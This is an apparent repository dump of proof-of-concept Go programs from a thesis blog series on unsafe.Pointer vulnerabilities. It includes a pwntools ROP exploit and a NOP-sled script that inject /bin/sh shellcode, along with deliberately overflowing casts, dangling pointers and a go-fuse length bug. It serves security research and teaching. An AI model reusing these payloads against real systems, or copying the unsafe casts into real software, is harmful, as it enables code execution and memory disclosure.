├── .gitignore ├── README.md ├── assets ├── frame.png ├── garbage-collector.png ├── payload.png ├── protocol.png ├── return.png └── stack.png ├── code-flow-redirection ├── README.md └── main.go ├── code-injection ├── README.md ├── exploit_rop.py ├── exploit_stack.py ├── exploit_win.py └── main.go ├── escape-analysis ├── README.md └── main.go ├── go-fuse ├── README.md ├── exploit.go ├── mocks.go └── opcode.go ├── information-leak ├── README.md └── main.go ├── race-slice ├── README.md ├── exploit.py └── main.go └── struct-cast ├── README.md └── main.go /.gitignore: -------------------------------------------------------------------------------- 1 | main 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Go unsafe.Pointer vulnerability POCs 2 | 3 | This is a series of proof of concept Go programs showing how the use of `unsafe.Pointer` can lead 4 | to different vulnerabilities. There are seven examples in total. 5 | 6 | These examples accompany the blog post series [Exploitation Exercise with unsafe.Pointer in Go](https://dev.to/jlauinger/exploitation-exercise-with-unsafe-pointer-in-go-information-leak-part-1-1kga). The blog series comprises the following parts: 7 | 8 | 1. [Information Leak](https://dev.to/jlauinger/exploitation-exercise-with-unsafe-pointer-in-go-information-leak-part-1-1kga) 9 | 2. [Code Flow Redirection](https://dev.to/jlauinger/exploitation-exercise-with-go-unsafe-pointer-code-flow-redirection-part-2-5hgm) 10 | 3. [ROP and Spawning a Shell](https://dev.to/jlauinger/exploitation-exercise-with-go-unsafe-pointer-rop-and-spawning-a-shell-part-3-4mm7) 11 | 4. [SliceHeader Literals in Go create a GC Race and Flawed Escape-Analysis](https://dev.to/jlauinger/sliceheader-literals-in-go-create-a-gc-race-and-flawed-escape-analysis-exploitation-with-unsafe-pointer-on-real-world-code-4mh7) 12 | 13 | These blog posts are written as part of my work on my Master's thesis at the [Software Technology Group](https://www.stg.tu-darmstadt.de/stg/homepage.en.jsp) at TU Darmstadt. 14 | 15 | 16 | ## Information leak POC 17 | 18 | This proof of concept shows how casting buffers of differing lengths using `unsafe.Pointer` potentially leads 19 | to a buffer overflow, resulting in an information leak in this POC. 20 | 21 | A possible threat model to introduce this code pattern is a miscommunication within a software development team. 22 | 23 | The exploit code along with instructions to execute it is located in the `information-leak` directory. 24 | 25 | 26 | ## Code flow redirection POC 27 | 28 | This proof of concept shows how an incorrect array cast can lead to a code flow redirection 29 | vulnerability, executing a function built into the binary. 30 | 31 | A possible threat model is a user-supplied field length in a client/server protocol that gets decoded using unsafe 32 | operations for efficiency. 33 | 34 | The exploit code along with instructions to execute it is located in the `code-flow-redirection` directory. 35 | 36 | 37 | ## Code injection POC 38 | 39 | This proof of concept shows how an array is cast to a slice without proper length checks, thus 40 | creating a buffer overflow that is used to inject arbitrary code by spawning a shell using 41 | return-oriented programming (ROP). 42 | 43 | A possible threat model is a cast of fixed-length data to a slice without correct length checks, or 44 | user-supplied length information in a client/server protocol. 45 | 46 | The exploit code along with instructions to execute it is located in the `code-injection` directory. 47 | 48 | 49 | ## Slice cast GC race condition POC 50 | 51 | This proof of concept shows how a common, insecure casting pattern for slice types leads to a 52 | garbage collector race condition that causes a use-after-free vulnerability. 53 | 54 | The exploit code along with instructions to execute it is located in the `race-slice` directory. 55 | 56 | 57 | ## Escape analysis flaw POC 58 | 59 | This proof of concept shows how a common, insecure casting pattern for slice types leads to a 60 | flawed escape analysis that creates a dangling pointer vulnerability. 61 | 62 | The exploit code along with instructions to execute it is located in the `escape-analysis` directory. 63 | 64 | 65 | ## Architecture-dependent struct cast POC 66 | 67 | This proof of concept shows how architecture-dependent types within a struct type can cause 68 | alignment issues and thus buffer overflow vulnerabilities when structs are casted in-place using 69 | `unsafe`. 70 | 71 | The exploit code along with instructions to execute it is located in the `struct-cast` directory. 72 | 73 | 74 | ## go-fuse bug POC 75 | 76 | This proof of concepts shows how to exploit a bug that leads to incorrect length information in 77 | a dynamically created slice. 78 | 79 | The exploit code along with instructions to execute it is located in the `go-fuse` directory. 80 | 81 | -------------------------------------------------------------------------------- /assets/frame.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/0b8cd410ce6de068dc66789f118abe19dd7174f3/assets/frame.png -------------------------------------------------------------------------------- /assets/garbage-collector.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/0b8cd410ce6de068dc66789f118abe19dd7174f3/assets/garbage-collector.png -------------------------------------------------------------------------------- /assets/payload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/0b8cd410ce6de068dc66789f118abe19dd7174f3/assets/payload.png -------------------------------------------------------------------------------- /assets/protocol.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/0b8cd410ce6de068dc66789f118abe19dd7174f3/assets/protocol.png -------------------------------------------------------------------------------- /assets/return.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/0b8cd410ce6de068dc66789f118abe19dd7174f3/assets/return.png -------------------------------------------------------------------------------- /assets/stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jlauinger/go-unsafepointer-poc/0b8cd410ce6de068dc66789f118abe19dd7174f3/assets/stack.png -------------------------------------------------------------------------------- /code-flow-redirection/README.md: -------------------------------------------------------------------------------- 1 | # Code Flow Redirection POC 2 | 3 | This proof of concept shows how an incorrect array cast can lead to a code flow redirection 4 | vulnerability, executing a function built into the binary. 5 | 6 | 7 | ## Vulnerability mechanism 8 | 9 | Using `unsafe.Pointer`, a fixed-length array is converted to a wrong length. Afterwards, data 10 | is written to the array, resulting in a buffer overflow. The data overwrites the stored return 11 | address on the stack with the address of the `win` function. When executed, the `win` function 12 | prints a message before the program crashes due to stack corruption. 13 | 14 | 15 | ## Threat model 16 | 17 | This type of vulnerability can be introduced if `unsafe` operations are used for efficiency when 18 | decoding a client/server protocol, and the length of a specific field is supplied by an attacker, 19 | e.g. because it is encoded in the protocol. 20 | 21 | Further information can be found in the blog post [Exploitation Exercise with Go unsafe.Pointer: Code Flow Redirection (Part 2)](https://dev.to/jlauinger/exploitation-exercise-with-go-unsafe-pointer-code-flow-redirection-part-2-5hgm) 22 | 23 | 24 | ## Execute POC 25 | 26 | To run this proof of concept code, execute the following command: 27 | 28 | ``` 29 | go run main.go 30 | ``` 31 | 32 | Expected output: 33 | 34 | ``` 35 | win! 36 | unexpected fault address 0x0 37 | fatal error: fault 38 | [signal SIGSEGV: segmentation violation code=0x80 addr=0x0 pc=0x49ba5e] 39 | 40 | goroutine 1 [running]: 41 | ... 42 | ``` 43 | 44 | -------------------------------------------------------------------------------- /code-flow-redirection/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | "strconv" 7 | "unsafe" 8 | ) 9 | 10 | func address(i interface{}) int { 11 | addr, err := strconv.ParseUint(fmt.Sprintf("%p", i), 0, 0) 12 | if err != nil { 13 | panic(err) 14 | } 15 | return int(addr) 16 | } 17 | 18 | func arrayCopy(dest, src *[64]byte) { 19 | for i := 0; i < 64; i++ { 20 | (*dest)[i] = (*src)[i] 21 | } 22 | } 23 | 24 | func win() { 25 | fmt.Println("win!") 26 | } 27 | 28 | type fixedLayout struct { 29 | exploit [64]byte 30 | harmlessData [8]byte 31 | } 32 | 33 | func main() { 34 | // use struct to enforce a fixed layout of local variables on the stack to make life easier in GDB 35 | theData := fixedLayout{ 36 | harmlessData: [8]byte{'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A'}, 37 | } 38 | 39 | addressBuf := make([]byte, 4) 40 | binary.LittleEndian.PutUint32(addressBuf, uint32(address(win))) 41 | 42 | theData.exploit = [64]byte{ 43 | // padding offset (structured to be recognizable in GDB) 44 | 'A', 'A', 'A', 'A', 'B', 'B', 'B', 'B', 45 | 'C', 'C', 'C', 'C', 'D', 'D', 'D', 'D', 46 | //'E', 'E', 'E', 'E', 'F', 'F', 'F', 'F', 47 | addressBuf[0], addressBuf[1], addressBuf[2], addressBuf[3], 0, 0, 0, 0, 48 | 'G', 'G', 'G', 'G', 'H', 'H', 'H', 'H', 49 | 'I', 'I', 'I', 'I', 'J', 'J', 'J', 'J', 50 | 'K', 'K', 'K', 'K', 'L', 'L', 'L', 'L', 51 | 'M', 'M', 'M', 'M', 'N', 'N', 'N', 'N', 52 | 'O', 'O', 'O', 'O', 'P', 'P', 'P', 'P'} 53 | 54 | arrayCopy((*[64]byte)(unsafe.Pointer(&theData.harmlessData)), &theData.exploit) 55 | } 56 | -------------------------------------------------------------------------------- /code-injection/README.md: -------------------------------------------------------------------------------- 1 | # Code Injection POC 2 | 3 | This proof of concept shows how an array is cast to a slice without proper length checks, thus 4 | creating a buffer overflow that is used to inject arbitrary code by spawning a shell using 5 | return-oriented programming (ROP). 6 | 7 | 8 | ## Vulnerability mechanism 9 | 10 | A buffer of length 8 bytes is cast into a `[]byte` slice with improper length configuration using 11 | the `unsafe` package and slice header representation from the `reflect` package. Then, using a 12 | `bufio` reader data is taken from the standard input and written to the slice, causing a buffer 13 | overflow. This is a size-constrained version of a classic `gets()`-based buffer overflow 14 | vulnerability. 15 | 16 | The `exploit_rop.py` file runs the program and supplies a carefully crafted input that overwrites 17 | the stack up to the point where the stored return address is located. It gets overwritten with 18 | a series of ROP gadgets, that is small fragments of assembly code that end with a `ret` instruction, 19 | thus chaining the gadgets is as simple as concatenating their addresses. 20 | 21 | The exploit payload uses the `mprotect` syscall to mark a memory region as `rwx`, then uses the 22 | `read` syscall to write data to that memory region. It supplies assembly code that spawns a shell 23 | using the `system` syscall to the `read` syscall, and finally jumps to the memory region. The 24 | `mprotect` call prevents DEP, and because Go binaries are statically linked to a rather large binary 25 | that contains lots of ROP gadgets ASLR is not effective. 26 | 27 | Further information can be found in the blog post [Exploitation Exercise with Go unsafe.Pointer: ROP and Spawning a Shell (Part 3)](https://dev.to/jlauinger/exploitation-exercise-with-go-unsafe-pointer-rop-and-spawning-a-shell-part-3-4mm7) 28 | 29 | 30 | ## Threat model 31 | 32 | This type of buffer overflow can happen when fixed-length data is cast to a slice without proper 33 | checks for matching lengths, using the `unsafe` package for efficiency reasons. 34 | 35 | 36 | ## Execute POC 37 | 38 | To run this proof of concept code, execute the following commands: 39 | 40 | ``` 41 | go build main.go 42 | ./exploit_rop.py 43 | ``` 44 | 45 | You need the pwntools package for Python 2. You need to compile with the Go compiler version go1.15 linux/amd64 46 | to make sure the ROP gadget addresses align. If you use a different version then the addresses might be different. 47 | The blog post explains how to use Ropper to find the gadgets so you can update the addresses. 48 | 49 | Expected output: 50 | 51 | ``` 52 | [+] Starting local process './main': pid 75369 53 | [*] Switching to interactive mode 54 | $ id 55 | uid=1000(johannes) gid=1000(johannes) groups=1000(johannes),54(lock),1001(plugdev) 56 | $ 57 | ``` 58 | 59 | -------------------------------------------------------------------------------- /code-injection/exploit_rop.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | import sys 5 | 6 | GDB_MODE = len(sys.argv) > 1 and sys.argv[1] == '--gdb' 7 | 8 | if not GDB_MODE: 9 | c = process("./main") 10 | 11 | 12 | # gadgets (use ropper to find them) 13 | eax0 = 0x0000000000462fa0 # mov eax, 0; ret; 14 | syscall = 0x0000000000464609 # syscall; ret; 15 | poprax = 0x000000000040ebef # pop rax; or dh, dh; ret; 16 | poprsi = 0x000000000041694f # pop rsi; adc al, 0xf6; ret; 17 | poprdi = 0x000000000040ffbd # pop rdi; dec dword ptr [rax + 0x21]; ret; 18 | poprdx = 0x0000000000467815 #pop rdx; xor ah, byte ptr [rsi - 9]; ret; 19 | 20 | # addresses 21 | buf = 0x00541000 # use vmmap in GDB to find it 22 | dummy = 0x00557000 # heap 23 | 24 | # syscall nums 25 | mprotect = 0xa 26 | read = 0x0 27 | 28 | 29 | # put it together 30 | 31 | # padding 32 | payload = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN" 33 | 34 | # mark memory page at buf rwx 35 | payload += p64(poprax) # dec dword ptr in poprdi mitigation 36 | payload += p64(dummy) 37 | payload += p64(poprdi) # 1ST ARGUMENT 38 | payload += p64(buf) # ADDRESS 39 | payload += p64(poprsi) # xor ah, byte ptr in poprdx mitigation 40 | payload += p64(dummy) 41 | payload += p64(poprdx) # 3RD ARGUMENT 42 | payload += p64(0x7) # RWX 43 | payload += p64(poprsi) # 2ND ARGUMENT 44 | payload += p64(0x100) # SIZE 45 | payload += p64(poprax) # SET RAX = 0 46 | payload += p64(0xa) # SET RAX = 10 47 | payload += p64(syscall) # SYSCALL 48 | 49 | # read into buf 50 | payload += p64(poprax) # dec dword ptr in poprdi mitigation 51 | payload += p64(dummy) 52 | payload += p64(poprdi) # 1ST ARGUMENT 53 | payload += p64(0x0) # STDIN 54 | payload += p64(poprsi) # xor ah, byte ptr in poprdx mitigation 55 | payload += p64(dummy) 56 | payload += p64(poprdx) # 3RD ARGUMENT 57 | payload += p64(0x100) # SIZE 58 | payload += p64(poprsi) # 2ND ARGUMENT 59 | payload += p64(buf) # ADDRESS 60 | payload += p64(eax0) # SET RAX = 0 61 | payload += p64(syscall) # SYSCALL 62 | 63 | # jump into buf 64 | payload += p64(buf) 65 | 66 | # machine instructions to spawn /bin/sh 67 | # http://shell-storm.org/shellcode/files/shellcode-806.php 68 | shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 69 | 70 | 71 | # send it 72 | 73 | if GDB_MODE: 74 | print(payload + shellcode) 75 | else: 76 | c.sendline(payload) 77 | c.sendline(shellcode) 78 | c.interactive() 79 | 80 | -------------------------------------------------------------------------------- /code-injection/exploit_stack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import struct 4 | 5 | pattern = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV" 6 | 7 | # http://shell-storm.org/shellcode/files/shellcode-806.php 8 | shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 9 | nopslide = "\x90"*350 10 | 11 | padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN" 12 | stack_p = struct.pack("Q", 0xc000069088) #0xc00011afa8) 13 | nullbytes = "\x00"*10 14 | 15 | #print(pattern) 16 | print(padding + stack_p + nullbytes + nopslide + shellcode) 17 | 18 | # ./exploit_stack.py | main 19 | 20 | # Note: this is mitigated by stack layout randomization since Go 1.15. Use Go 1.14 to replicate -------------------------------------------------------------------------------- /code-injection/exploit_win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import struct 4 | 5 | pattern = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV" 6 | padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN" 7 | win_p = struct.pack("I", 0x49a0b7) #0x4925d3) 8 | nullbytes = "\0"*10 9 | 10 | #print(pattern) 11 | print(padding + win_p + nullbytes) 12 | 13 | # ./exploit_win.py | main 14 | -------------------------------------------------------------------------------- /code-injection/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "os" 7 | "reflect" 8 | "unsafe" 9 | ) 10 | 11 | func win() { 12 | fmt.Println("win!") 13 | } 14 | 15 | var reader = bufio.NewReader(os.Stdin) 16 | 17 | func main() { 18 | harmlessData := [8]byte{'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A'} 19 | 20 | confusedSlice := make([]byte, 512) 21 | sliceHeader := (*reflect.SliceHeader)(unsafe.Pointer(&confusedSlice)) 22 | harmlessDataAddress := uintptr(unsafe.Pointer(&(harmlessData[0]))) 23 | sliceHeader.Data = harmlessDataAddress 24 | 25 | _, _ = reader.Read(confusedSlice) 26 | 27 | // avoid optimization of win2 28 | if harmlessData[0] == 42 { 29 | win() 30 | } 31 | 32 | // input a padding and overflow $rip. Use address of win. 33 | // DEP will prevent to input shell code and jump to it. Instead: use ROP. 34 | } 35 | -------------------------------------------------------------------------------- /escape-analysis/README.md: -------------------------------------------------------------------------------- 1 | # Escape Analysis Flaw POC 2 | 3 | This proof of concept shows how a common, insecure casting pattern for slice types leads to a 4 | flawed escape analysis that creates a dangling pointer vulnerability. 5 | 6 | 7 | ## Vulnerability mechanism 8 | 9 | In the `main` function, a string is obtained from a function and then printed to the standard output. 10 | The `GetString` function declares a constant byte slice and then uses a common, insecure casting 11 | pattern to cast it into a string value in-place. The resulting string is then printed to standard 12 | output and returned to the caller. 13 | 14 | Because the insecure slice cast creates a string header from scratch instead of by deriving it from 15 | a real string, Go escape analysis fails to see a connection between the `[]byte` parameter to 16 | `BytesToString` and its `string` return value. Therefore, when the `[]byte` slice is created in 17 | `GetString`, Go escape analysis infers that it does not escape because it does not in `BytesToString` 18 | and is never used afterwards. Thus, it is placed on the stack. 19 | 20 | The resulting string value has the same underlying data array because it was created by an in-place 21 | cast. It's data is therefore located on the stack of `BytesToString`. The print in that function 22 | succeeds because the stack exists at that point, but when `BytesToString` returns the resulting 23 | string, its stack is destroyed and therefore a dangling pointer gets returned. The print in the 24 | `main` function reads arbitrary memory where the stack once was. 25 | 26 | Further information can be found in the blog post [SliceHeader Literals in Go create a GC Race and Flawed Escape-Analysis. Exploitation with unsafe.Pointer on Real-World Code](https://dev.to/jlauinger/sliceheader-literals-in-go-create-a-gc-race-and-flawed-escape-analysis-exploitation-with-unsafe-pointer-on-real-world-code-4mh7) 27 | 28 | 29 | ## Threat model 30 | 31 | This code pattern is taken from real-world code. It is very common and used by very large projects. 32 | Use our linter tool [go-safer](https://github.com/jlauinger/go-safer) to identify usages of this 33 | pattern. 34 | 35 | 36 | ## Execute POC 37 | 38 | To run this proof of concept code, execute the following command: 39 | 40 | ``` 41 | go run main.go 42 | ``` 43 | 44 | Expected output: 45 | 46 | ``` 47 | GetString:abcdefgh 48 | main: 49 | ``` 50 | 51 | -------------------------------------------------------------------------------- /escape-analysis/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "reflect" 6 | "unsafe" 7 | ) 8 | 9 | func main() { 10 | stringResult := GetString() 11 | fmt.Printf("main:%s\n", stringResult) // expected (but failed) stdout is "abcdefgh" 12 | } 13 | 14 | func BytesToString(b []byte) string { 15 | bytesHeader := (*reflect.SliceHeader)(unsafe.Pointer(&b)) 16 | strHeader := reflect.StringHeader{ 17 | Data: bytesHeader.Data, 18 | Len: bytesHeader.Len, 19 | } 20 | return *(*string)(unsafe.Pointer(&strHeader)) 21 | } 22 | 23 | func GetString() string { 24 | b := []byte{97, 98, 99, 100, 101, 102, 103, 104} 25 | out := BytesToString(b) 26 | // At this point, Go escape analysis incorrectly infers that slice b is not used anymore, because it cannot 27 | // see that out is in fact a reference to it. This in turn stems from the broken reference link within BytesToString 28 | // therefore, b is placed on the stack when it really should have been allocated on the heap 29 | // printing out *within* this function still works well (kind of by accident), but the problem arises when out 30 | // is returned. After returning from this function its stack will be discarded, and out becomes a dangling pointer, 31 | // When main uses it it actually reads from invalid memory. 32 | fmt.Printf("GetString:%s\n", out) // expected stdout is "abcdefgh" 33 | return out 34 | } 35 | -------------------------------------------------------------------------------- /go-fuse/README.md: -------------------------------------------------------------------------------- 1 | # go-fuse bug POC 2 | 3 | 4 | ## Execute POC 5 | 6 | To run this proof of concept, execute the following command: 7 | 8 | ``` 9 | go run exploit.go 10 | ``` 11 | 12 | -------------------------------------------------------------------------------- /go-fuse/exploit.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "reflect" 6 | "unsafe" 7 | ) 8 | 9 | func main() { 10 | forgetObjects := []_ForgetOne{ 11 | { NodeId: 1, Nlookup: 2, }, 12 | } 13 | 14 | secretData := []byte{42, 0, 0, 0, 0, 0, 0, 0, 42, 0, 0, 0, 0, 0, 0, 0} 15 | 16 | sH := (*reflect.SliceHeader)(unsafe.Pointer(&forgetObjects)) 17 | sH.Cap *= 16 18 | sH.Len *= 16 19 | forgetObjectBytes := *(*[]byte)(unsafe.Pointer(sH)) 20 | 21 | server := &Server{ 22 | mountPoint: "/nonexisting", 23 | fileSystem: MyFileSystem{}, 24 | opts: &MountOptions{}, 25 | } 26 | 27 | req := &request{ 28 | inHeader: nil, 29 | inData: unsafe.Pointer(&_BatchForgetIn{Count: 5,}), 30 | arg: forgetObjectBytes, 31 | } 32 | 33 | fmt.Printf("%p\n", &forgetObjectBytes[0]) 34 | fmt.Printf("%p\n", &secretData[0]) 35 | fmt.Println(secretData) 36 | fmt.Println() 37 | 38 | doBatchForget(server, req) 39 | 40 | _ = secretData 41 | } -------------------------------------------------------------------------------- /go-fuse/mocks.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "sync" 6 | "time" 7 | "unsafe" 8 | ) 9 | 10 | const pollHackInode = ^uint64(0) 11 | 12 | type Server struct { 13 | mountPoint string 14 | fileSystem RawFileSystem 15 | writeMu sync.Mutex 16 | mountFd int 17 | //latencies LatencyMap 18 | opts *MountOptions 19 | //buffers bufferPool 20 | reqPool sync.Pool 21 | readPool sync.Pool 22 | reqMu sync.Mutex 23 | reqReaders int 24 | reqInflight []*request 25 | //kernelSettings InitIn 26 | retrieveMu sync.Mutex 27 | retrieveNext uint64 28 | //retrieveTab map[uint64]*retrieveCacheRequest 29 | singleReader bool 30 | canSplice bool 31 | loops sync.WaitGroup 32 | ready chan error 33 | requestProcessingMu sync.Mutex 34 | } 35 | 36 | type request struct { 37 | inflightIndex int 38 | cancel chan struct{} 39 | interrupted bool 40 | inputBuf []byte 41 | inHeader *InHeader 42 | inData unsafe.Pointer 43 | arg []byte 44 | filenames []string 45 | //status Status 46 | flatData []byte 47 | //fdData *readResultFd 48 | //readResult ReadResult 49 | startTime time.Time 50 | //handler *operationHandler 51 | bufferPoolInputBuf []byte 52 | bufferPoolOutputBuf []byte 53 | //outBuf [outputHeaderSize]byte 54 | smallInputBuf [128]byte 55 | } 56 | 57 | type _BatchForgetIn struct { 58 | InHeader 59 | Count uint32 60 | Dummy uint32 61 | } 62 | 63 | type InHeader struct { 64 | Length uint32 65 | Opcode uint32 66 | Unique uint64 67 | NodeId uint64 68 | //Caller 69 | Padding uint32 70 | } 71 | 72 | type _ForgetOne struct { 73 | NodeId uint64 74 | Nlookup uint64 75 | } 76 | 77 | type MountOptions struct { 78 | AllowOther bool 79 | Options []string 80 | MaxBackground int 81 | MaxWrite int 82 | MaxReadAhead int 83 | IgnoreSecurityLabels bool 84 | RememberInodes bool 85 | FsName string 86 | Name string 87 | SingleThreaded bool 88 | DisableXAttrs bool 89 | Debug bool 90 | EnableLocks bool 91 | ExplicitDataCacheControl bool 92 | } 93 | 94 | type RawFileSystem interface { 95 | //String() string 96 | //SetDebug(debug bool) 97 | //Lookup(cancel <-chan struct{}, header *InHeader, name string, out *EntryOut) (status Status) 98 | Forget(nodeid, nlookup uint64) 99 | //GetAttr(cancel <-chan struct{}, input *GetAttrIn, out *AttrOut) (code Status) 100 | //SetAttr(cancel <-chan struct{}, input *SetAttrIn, out *AttrOut) (code Status) 101 | //Mknod(cancel <-chan struct{}, input *MknodIn, name string, out *EntryOut) (code Status) 102 | //Mkdir(cancel <-chan struct{}, input *MkdirIn, name string, out *EntryOut) (code Status) 103 | //Unlink(cancel <-chan struct{}, header *InHeader, name string) (code Status) 104 | //Rmdir(cancel <-chan struct{}, header *InHeader, name string) (code Status) 105 | //Rename(cancel <-chan struct{}, input *RenameIn, oldName string, newName string) (code Status) 106 | //Link(cancel <-chan struct{}, input *LinkIn, filename string, out *EntryOut) (code Status) 107 | //Symlink(cancel <-chan struct{}, header *InHeader, pointedTo string, linkName string, out *EntryOut) (code Status) 108 | //Readlink(cancel <-chan struct{}, header *InHeader) (out []byte, code Status) 109 | //Access(cancel <-chan struct{}, input *AccessIn) (code Status) 110 | //GetXAttr(cancel <-chan struct{}, header *InHeader, attr string, dest []byte) (sz uint32, code Status) 111 | //ListXAttr(cancel <-chan struct{}, header *InHeader, dest []byte) (uint32, Status) 112 | //SetXAttr(cancel <-chan struct{}, input *SetXAttrIn, attr string, data []byte) Status 113 | //RemoveXAttr(cancel <-chan struct{}, header *InHeader, attr string) (code Status) 114 | //Create(cancel <-chan struct{}, input *CreateIn, name string, out *CreateOut) (code Status) 115 | //Open(cancel <-chan struct{}, input *OpenIn, out *OpenOut) (status Status) 116 | //Read(cancel <-chan struct{}, input *ReadIn, buf []byte) (ReadResult, Status) 117 | //Lseek(cancel <-chan struct{}, in *LseekIn, out *LseekOut) Status 118 | //GetLk(cancel <-chan struct{}, input *LkIn, out *LkOut) (code Status) 119 | //SetLk(cancel <-chan struct{}, input *LkIn) (code Status) 120 | //SetLkw(cancel <-chan struct{}, input *LkIn) (code Status) 121 | //Release(cancel <-chan struct{}, input *ReleaseIn) 122 | //Write(cancel <-chan struct{}, input *WriteIn, data []byte) (written uint32, code Status) 123 | //CopyFileRange(cancel <-chan struct{}, input *CopyFileRangeIn) (written uint32, code Status) 124 | //Flush(cancel <-chan struct{}, input *FlushIn) Status 125 | //Fsync(cancel <-chan struct{}, input *FsyncIn) (code Status) 126 | //Fallocate(cancel <-chan struct{}, input *FallocateIn) (code Status) 127 | //OpenDir(cancel <-chan struct{}, input *OpenIn, out *OpenOut) (status Status) 128 | //ReadDir(cancel <-chan struct{}, input *ReadIn, out *DirEntryList) Status 129 | //ReadDirPlus(cancel <-chan struct{}, input *ReadIn, out *DirEntryList) Status 130 | //ReleaseDir(input *ReleaseIn) 131 | //FsyncDir(cancel <-chan struct{}, input *FsyncIn) (code Status) 132 | //StatFs(cancel <-chan struct{}, input *InHeader, out *StatfsOut) (code Status) 133 | //Init(*Server) 134 | } 135 | 136 | type MyFileSystem struct {} 137 | 138 | func (mfs MyFileSystem) Forget(nodeid, nlookup uint64) { 139 | fmt.Printf("Calling Forget with %d, %d\n", nodeid, nlookup) 140 | } -------------------------------------------------------------------------------- /go-fuse/opcode.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "reflect" 6 | "unsafe" 7 | ) 8 | 9 | // doBatchForget - forget a list of NodeIds 10 | func doBatchForget(server *Server, req *request) { 11 | in := (*_BatchForgetIn)(req.inData) 12 | wantBytes := uintptr(in.Count) * unsafe.Sizeof(_ForgetOne{}) 13 | if uintptr(len(req.arg)) < wantBytes { 14 | // We have no return value to complain, so log an error. 15 | log.Printf("Too few bytes for batch forget. Got %d bytes, want %d (%d entries)", 16 | len(req.arg), wantBytes, in.Count) 17 | } 18 | 19 | h := &reflect.SliceHeader{ 20 | Data: uintptr(unsafe.Pointer(&req.arg[0])), 21 | Len: int(in.Count), 22 | Cap: int(in.Count), 23 | } 24 | 25 | forgets := *(*[]_ForgetOne)(unsafe.Pointer(h)) 26 | for i, f := range forgets { 27 | if server.opts.Debug { 28 | log.Printf("doBatchForget: rx %d %d/%d: FORGET i%d {Nlookup=%d}", 29 | req.inHeader.Unique, i+1, len(forgets), f.NodeId, f.Nlookup) 30 | } 31 | if f.NodeId == pollHackInode { 32 | continue 33 | } 34 | server.fileSystem.Forget(f.NodeId, f.Nlookup) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /information-leak/README.md: -------------------------------------------------------------------------------- 1 | # Information Leak POC 2 | 3 | This proof of concept shows how casting buffers of differing lengths using `unsafe.Pointer` can lead to 4 | a buffer overflow, resulting in an information leak vulnerability in this case. 5 | 6 | 7 | ## Vulnerability mechanism 8 | 9 | Using the arbitrary type casting privilege of `unsafe.Pointer`, a `[8]byte` array value is converted into 10 | a `[25]byte` value. When read, this leaks additional data from the memory. 11 | 12 | 13 | ## Threat model 14 | 15 | A possible threat model is a large software company where different teams work at a client and a server 16 | application, respectively, using a shared communication protocol to exchange data. When the protocol was 17 | agreed upon, the server team printed the architecture diagram and hung it on the office wall. Later, 18 | the teams agreed upon a change of the protocol, but the diagram on the wall was not updated. 19 | 20 | When an engineer implements the protocol, they look at the diagram and read the incorrect length for a 21 | field. In code review, all engineers from the team also look at the diagram and verify the false 22 | information. Thus, the type of vulnerability shown here gets merged into a production software. 23 | 24 | Further information can be found in the blog post [Exploitation Exercise with unsafe.Pointer in Go: Information Leak (Part 1)](https://dev.to/jlauinger/exploitation-exercise-with-unsafe-pointer-in-go-information-leak-part-1-1kga) 25 | 26 | 27 | ## Execute POC 28 | 29 | To run this proof of concept, execute the following command: 30 | 31 | ``` 32 | go run main.go 33 | ``` 34 | 35 | Expected output: 36 | 37 | ``` 38 | AAAAAAAAl33t-h4xx0r-w1ns! 39 | ``` 40 | 41 | -------------------------------------------------------------------------------- /information-leak/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "unsafe" 6 | ) 7 | 8 | func main() { 9 | harmlessData := [8]byte{'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A'} 10 | // might be e.g. private key data 11 | secret := [17]byte{'l', '3', '3', 't', '-', 'h', '4', 'x', 'x', '0', 'r', '-', 'w', '1', 'n', 's', '!'} 12 | 13 | // read from memory behind buffer 14 | var leakingInformation = (*[8+17]byte)(unsafe.Pointer(&harmlessData[0])) 15 | 16 | 